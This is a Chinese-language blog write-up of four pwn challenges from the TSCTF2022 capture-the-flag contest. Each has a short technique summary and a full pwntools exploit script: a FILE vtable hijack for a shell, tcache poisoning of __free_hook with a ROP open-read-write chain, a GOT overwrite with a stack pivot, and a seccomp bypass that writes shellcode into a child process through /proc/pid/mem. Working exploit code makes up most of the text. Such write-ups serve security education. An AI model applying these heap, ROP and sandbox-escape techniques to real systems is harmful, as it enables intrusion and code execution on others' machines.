周末打了TSCTF2022,花了蛮多时间做彭哥的Mute&blind这题最后还是没在比赛时间内做出来,熊哥出了个内核属实不熟……剩下的三个堆题感觉都还行,感谢学长们手下留情属于。最后在抱紧大学霸nama和茯苓的大腿,队伍以微弱的优势取得了第一的成绩……难得啊越来越卷的ctf比赛也就校内赛有机会登个顶了……

MillionBonus

覆盖文件指针,劫持vtable,利用+0x88处指针getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

r = remote('10.7.2.142',9898)
# r = process('./MillionBonus')
elf = ELF('./MillionBonus')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.23.so')

r.recv()
r.sendline('3')
r.recv()
r.sendline('6')
r.recv()
r.sendline('7')

r.recv()
r.sendline('/proc/self/maps')

r.recvuntil('Open successful\n')
base = int(r.recv(12), 16)
r.recvuntil('heap]\n')

libc.address = int(r.recv(12).decode('ISO-8859-1'), 16)

# gdb.attach(r)

addr = base+0x4310
fake_IO = b''
fake_IO+= p64(0xfbad2408)
fake_IO+= p64(0)*12
fake_IO+= p64(libc.sym['_IO_2_1_stderr_'])
fake_IO+= p64(3)
fake_IO+= p64(0)
fake_IO+= p64(0)
fake_IO+= p64(base+0x43f0+0x90)
fake_IO+= p64(0xffffffffffffffff)
fake_IO+= p64(0)
fake_IO+= p64(base+0x6110)
fake_IO+= p64(0)*6
fake_IO+= p64(base+0x43f0)
fake_IO+= b'\x00'*0x88
# fake_IO+= p64(libc.sym['puts'])*0x100
fake_IO+= p64(libc.address+0xcd248)
fake_IO+= p64(0)


r.recv()
r.sendline(b'\x00'*0x20+p64(addr)+p64(0)+fake_IO)

log.success(hex(libc.address))
log.success(hex(base))
r.interactive()

babynote

encrypt输冒号,read功能读的时候发生溢出,改size位用tcache打freehook,栈迁移orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

def add(sz, ct):
r.sendlineafter('>> ', str(1))
r.sendlineafter('size: ', str(sz))
r.sendafter('content: ', ct)

def show(idx, key=None):
r.sendlineafter('>> ', str(2))
r.sendlineafter('index: ', str(idx))
if (key):
r.sendafter('encrypt key: ', key)


def delete(idx):
r.sendlineafter('>> ', str(3))
r.sendlineafter('index: ', str(idx))

def encrypt(idx, ct):
r.sendlineafter('>> ', str(4))
r.sendlineafter('index: ', str(idx))
r.sendafter('encrypt key: ', ct)



r = remote('10.7.2.133',34789)
# r = process('./babynote')
libc = ELF('./libc.so')


add(0xf8, b'A'*(0x102-0x15)+p64(0x601)+b'\n') #0
for i in range(2):
add(0xf8, b'A'*0xf8) #1,2

add(0xf8, b'A'*0xf8) #3
add(0xf8, b'A'*0xf8) #4
for j in range(3):
add(0xf8, b'A'*0xf8) #5,6,7

encrypt(0, b':'+b'B'*0xf)
show(0, b'J99T:'+b'B'*10)
r.sendline('3')
delete(1)
add(0xf8, '\n')
add(0xf8, '\n')
show(2)

libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-96-0x10-libc.sym['__malloc_hook']

delete(4)
delete(3)
add(0xd8, b'\n') #3
add(0xd8, p64(0)*3+p64(0x101)+p64(libc.sym['__free_hook'])+b'\n') #4
prdi_r = libc.address+0x0000000000023b72
psri_r = libc.address+0x000000000002604f
prdx_pr12_r = libc.address+0x0000000000119241
prax_r = libc.address+0x0000000000047400
syscall_r = libc.address+0x00000000000630d9
leave_r = libc.address+0x00000000000578f8
p3_r = libc.address+0x0000000000062599
add(0xf8, b'ZZZZZZZZ\n')


base = libc.sym['__free_hook']+8
rop= b''
rop+= './flag\x00\x00'
rop+= p64(p3_r) #0x10
rop+= p64(0)
rop+= p64(base-8)
rop+= p64(leave_r)
rop+= p64(prax_r)
rop+= p64(2)
rop+= p64(prdi_r)
rop+= p64(base)
rop+= p64(prdi_r)+p64(base)
rop+= p64(psri_r)+p64(0)
rop+= p64(syscall_r)
rop+= p64(prax_r)+p64(0)
rop+= p64(prdi_r)+p64(3)
rop+= p64(psri_r)+p64(base+0x200)
rop+= p64(prdx_pr12_r)+p64(0x50)+p64(0)
rop+= p64(syscall_r)
rop+= p64(prax_r)+p64(1)
rop+= p64(prdi_r)+p64(1)
rop+= p64(syscall_r)
add(0xf8, p64(libc.address+0x154d06)+rop+b'\n')

# gdb.attach(r, 'b *0x7ffff7f0ed06')
delete(10)

# x/20gx $rebase(0x5060)

log.success(hex(libc.address+0x154d06))
r.interactive()

alarm

第17个chunk的size写一个2字节的负数,edit索引到got把alarm改成syscall,构造chunk,byebye输一个字节变write,泄露基址

delete不输Y,获得再次写入负数的机会,这次索引到delete的got表,改成做栈迁移的gadget,最后byebye构造chunk,delete的时候完成orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

def add(sz, ct):
r.sendlineafter('chose > ', str(1))
r.sendlineafter('size > ', str(sz))
sleep(0.6)
r.send(ct)

def delete(idx):
r.sendlineafter('chose > ', str(2))
r.sendlineafter('idx > ', str(idx))
r.sendlineafter('Sure delete ?', 'Y')

def edit(ct):
r.sendlineafter('chose > ', str(3))
r.sendline(ct)

def fake_delete(idx):
r.sendlineafter('chose > ', str(2))
r.sendlineafter('idx > ', str(idx))
r.sendlineafter('Sure delete ?', 'N')

def bye(ct):
r.sendlineafter('chose > ', str(4))
r.sendafter('byebye, good night~', ct)

r = remote('10.7.2.144',9999)
# r = process('./alarm')
libc = ELF('./libc-2.31.so')

r.recv()
r.sendline('rootroot')
r.sendline('#$%^&*!@')


add(0x500, b'ayoung')
add(0x500, b'A')
for i in range(0xe):
add(0xe0, b'A'*0xe0)
delete(0)

add(0xfcf0, './flag')
edit(p8(0xc9))

bye('\x40')
libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-96-0x10-libc.sym['__malloc_hook']-0x460
delete(1)

prdi_r = libc.address+0x0000000000023b72
psri_r = libc.address+0x000000000002604f
prdx_pr12_r = libc.address+0x0000000000119241
prax_r = libc.address+0x0000000000047400
syscall_r = libc.address+0x00000000000630d9
leave_r = libc.address+0x00000000000578f8
p3_r = libc.address+0x0000000000062599

bye('\n')
s = r.recvuntil('add')
print (s[0x11:0x16])
print (s)
heap_base = u64(s[0x11:0x17]+b'\x00\x00')-0x12bb0

fake_delete(2)
add(0xfc60, 'A')
tar = libc.address+0x154d06
for i in range(6):
edit(p8(tar&0xff))
tar >>= 8

# gdb.attach(r, 'b *$rebase(0x2B9C)\nb *0x7ffff7cefd06')

#
base = heap_base+0x12bc0
rop = b''
rop+= p64(base)
rop+= p64(prdx_pr12_r)
rop+= p64(0)
rop+= p64(base)
rop+= p64(p3_r)
rop+= p64(leave_r)
rop+= p64(0)
rop+= p64(p3_r)
rop+= p64(prdi_r)
rop+= p64(base)
rop+= p64(prdi_r)+p64(heap_base+0x14320)
rop+= p64(psri_r)+p64(0)
rop+= p64(prax_r)+p64(2)
rop+= p64(syscall_r)
rop+= p64(prax_r)+p64(0)
rop+= p64(prdi_r)+p64(3)
rop+= p64(psri_r)+p64(base+0x200)
rop+= p64(prdx_pr12_r)+p64(0x50)+p64(0)
rop+= p64(syscall_r)
rop+= p64(prax_r)+p64(1)
rop+= p64(prdi_r)+p64(1)
rop+= p64(syscall_r)

rop = rop.ljust(0xf8, b'\x00')
rop+= './flag\x00\x00'
bye(rop.ljust(0x101, b'\x00'))


# x/10gx $rebase(0x5420) sz
# x/10gx $rebase(0x5428) ptr
log.success(hex(libc.address+0x154d06))
log.success(hex(libc.address))
log.success(hex(heap_base))

r.interactive()

mute&blind

哈哈没在比赛时间内做出来,要素有点多,关于fork的,还有些系统调用wait4,lseek,子进程exit group,父子进程之间的一些关系,多进程的调试(一直到晚上才调明白),还是学到了很多(换句话说自己真滴菜)。当然也一直有跟彭哥有在交流,感谢彭哥

最关键被卡的地方就是如何让父进程控制子进程执行流,经过彭哥提示pid才想起来/proc/pid/mem能直接改,且无视原本段的读写权限的,所以可以直接往主函数返回的代码段写shellcode

我的做法:

  • 找到add DWORD PTR [rbp-0x3d],ebxgadget
  • getpid指向syscallfork指向xchg edi,eax;ret
  • 利用上面两个配合csu就能任意syscall
  • 为了便捷,mrpotect开执行权限,直接写shellcode
  • 父进程open("/proc/pid+1/mem", 2)lseek(3, offset, 1),取offset为主函数返回的代码地址,再write写入shellcode,即可修改子进程代码,pid+1即指向子进程
  • 父进程接着执行wait4(pid+1,addr, 0),等待子进程结束,其结束的状态码会存到addr+1
  • 子进程执行open,read,把字符逐字节弄到rdi上,执行exit_group
  • 子进程结束,父进程打印出子进程结束的状态码,即得到一字节flag,逐字节循环即可得到flag

然后就是这个思路,赛后的晚上本题调好了但是远程一直出不了哈哈哈,第二天嗯测返回值,发现open("flag")打不开,彭哥跟我说路径设置到根目录了,得open("/home/ctf/flag")开,so以最后还是放一下最后打通的exp记录一下了属于

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
from pwn import*
context(os='linux', arch='amd64')#, log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')



flag = ''
i = -1
while (1):
i+= 1
# r = process('./pwn')
r = remote('10.7.2.147',19091)

r.recvuntil("Mute's pid is ")
x = r.recvuntil('\n')
pid = int(x[:-1], 10)

prdi_r = 0x0000000000401573
prsi_pr15_r = 0x0000000000401571
csu_down = 0x40156A #prbx_rbp_p4_r
csu_up = 0x401550
nop_r = 0x00000000004011cf

gadget = 0x40123c # add DWORD PTR [rbp-0x3d],ebx
leave_r = 0x401347
xchg_eax_edi = 0x00000000000f1b95
input_addr1=0x04042E0
jmp_rax = 0x00000000004011cc
#0xf1b95
#0xe2f20
syscall = elf.got['getpid']
xchg = elf.got['fork']
chain = b''
chain+= p64(csu_down)
chain+= p64(9)
chain+= p64(elf.got['getpid']+0x3d)
chain+= p64(0)*4
chain+= p64(gadget)
chain+= p64(csu_down)
chain+= p64(xchg_eax_edi-libc.sym['fork'])
chain+= p64(elf.got['fork']+0x3d)
chain+= p64(0)*4
chain+= p64(gadget)


# mprotect
chain+= p64(csu_down)
chain+= p64(0)+p64(1)+p64(10)+p64(0)+p64(0)+p64(xchg)
chain+= p64(csu_up)
chain+= p64(0)*7
chain+= p64(csu_down)
chain+= p64(0)+p64(1)+p64(input_addr1&0xffffffff000)+p64(0x100)+p64(7)+p64(syscall)
chain+= p64(csu_up)
chain+= p64(0)*7
chain+= p64(csu_down)
chain+= p64(0)+p64(1)+p64(0x4044d0)+p64(0)+p64(0)+p64(xchg)
chain+= p64(csu_up)
chain+= p64(0)*7
chain+= p64(jmp_rax)


sc = '''
/*open proc pid mem*/
mov rdi, {}
mov rsi, 2
xor rdx, rdx
mov rax, 2
syscall

/*lseek*/
mov rax, SYS_lseek
mov rdi, 3
mov rsi, 0x4014f5
mov rdx, 1
syscall

/*write*/
mov rdi, 3
mov rsi, {}+0x30
mov rdx, 0x200
mov rax, 1
syscall

/*wait4*/
mov edi, {}
mov rsi, 0x404700
xor rdx, rdx
xor rcx, rcx
xor r10, r10
mov rax, SYS_wait4
syscall

mov rdi, 1
mov rsi, 0x404701
mov rdx, 0x1
mov rax, 1
syscall
'''.format(input_addr1+0x2a1, input_addr1+0x2a0, pid+1)
chain+= asm(sc)

sc2 = '''
mov rdi, 0x74632f656d6f682f
mov rdx, 0x67616c662f66
mov rsi, 0x404500
mov [rsi], rdi
mov [rsi+8], rdx
mov rdi, rsi
mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall

/*read*/
mov rdi, 0
mov rsi, 0x404300
mov rdx, 0x50
mov rax, SYS_read
syscall

/*exit group!*/

mov rsi, 0x404300+{}
mov rdi, [rsi]
inc rsi
mov word ptr [rsi], 0
dec rsi
xor rdi, rdi
mov di, word ptr [rsi]
test di, di
jz error
xor rsi, rsi
xor rdx, rdx
xor r10, r10
mov rax, SYS_exit_group
syscall

error:
mov rdi, 123
xor rsi, rsi
xor rdx, rdx
xor r10, r10
mov rax, SYS_exit_group
syscall
'''.format(i)
# T

pay = b''
pay+= asm("nop")*0x10+asm(sc2)
pp = chain.ljust(0x2a0, b'\x00')+b'//proc/'+bytes(pid+1)+'/mem\x00'
r.recv()
r.sendline(pp.ljust(0x2a0+0x30, b'\x00')+pay)

r.recv()
rop = b''
rop+= p64(leave_r)
# gdb.attach(r)
r.sendline('A'*0x40+p64(input_addr1-8)+rop)
r.recvuntil('\n')
ch = r.recv(1)
flag+= ch
print ("flag ==>"+flag)
log.success(str(pid))
r.close()
if(ch == '}'):
break

'''
[Mute&Blind] hint1 parent whitelist
write,open,close,mprotect,stat,fstat,lstat,lseek,
fork,wait4,exit,exit_group

child white: read,open,close,mprotect,clock_nano sleep,
stat,fstat,lstat,lseek,fork,wait4,exit,exit_group

0x000000000040156c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040156e: pop r13; pop r14; pop r15; ret;
0x0000000000401570: pop r14; pop r15; ret;
0x0000000000401572: pop r15; ret;
0x000000000040156b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040156f: pop rbp; pop r14; pop r15; ret;
0x000000000040123d: pop rbp; ret;
0x0000000000401573: pop rdi; ret;
0x0000000000401571: pop rsi; pop r15; ret;
0x000000000040156d: pop rsp; pop r13; pop r14; pop r15; ret;
'''